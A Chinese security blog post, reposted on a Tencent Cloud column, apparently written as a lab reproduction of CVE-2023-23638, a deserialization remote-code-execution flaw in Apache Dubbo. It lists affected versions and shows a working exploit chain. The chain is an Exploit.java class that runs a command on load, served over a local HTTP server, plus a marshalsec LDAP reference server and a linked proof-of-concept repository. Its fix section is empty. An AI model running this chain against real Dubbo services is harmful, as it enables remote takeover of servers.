前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2023-23638:Apache Dubbo JavaNative反序列化漏洞

CVE-2023-23638:Apache Dubbo JavaNative反序列化漏洞

作者头像
Timeline Sec
发布2023-08-22 08:51:07
8070
发布2023-08-22 08:51:07
举报
文章被收录于专栏:Timeline Sec

关注我们❤️,添加星标🌟,一起学安全!

作者:lyc@Timeline Sec

本文字数:707

阅读时长:2~3min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache Dubbo 是一款开源的一个高性能的 Java RPC 框架,致力于提供高性能透明化的 RPC 远程服务调用方案,常用于开发微服务和分布式架构相关的需求。

0x02 漏洞概述

漏洞编号:CVE-2023-23638

Apache Dubbo Provider 默认使用 Hession 反序列化机制与 Consumer 进行通信。本漏洞通过动态修改 Dubbo Configuration 启用 JavaNative,然后利用 Hession 反序列化触发特定 Gadget ,最终导致远程代码执行。

0x03 影响版本

Apache Dubbo 2.7.x <= 2.7.21

Apache Dubbo 3.0.x <= 3.0.13

Apache Dubbo 3.1.x <= 3.1.5

0x04 环境搭建

1、下载zookeeper

代码语言:javascript
复制
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir

2、双击bin目录下的zkServer.cmd,启动zookeeper

3、下载测试Demo及POC: https://github.com/lz2y/DubboPOC 4、启动Provider

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

代码语言:javascript
复制
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件

代码语言:javascript
复制
public class Exploit {
 
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

javac 得到Exploit.class 3、在Exploit.class目录下开启http服务

代码语言:javascript
复制
python -m http.server 8000

4、使用marshalsec开启JNDI服务

代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、打开 src\main\java\top\lz2y\vul\CVE202130179.java 修改接口名及其方法,替换ldap uri 填写Dubbo服务的ip以及端口号

0x06 修复方式

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档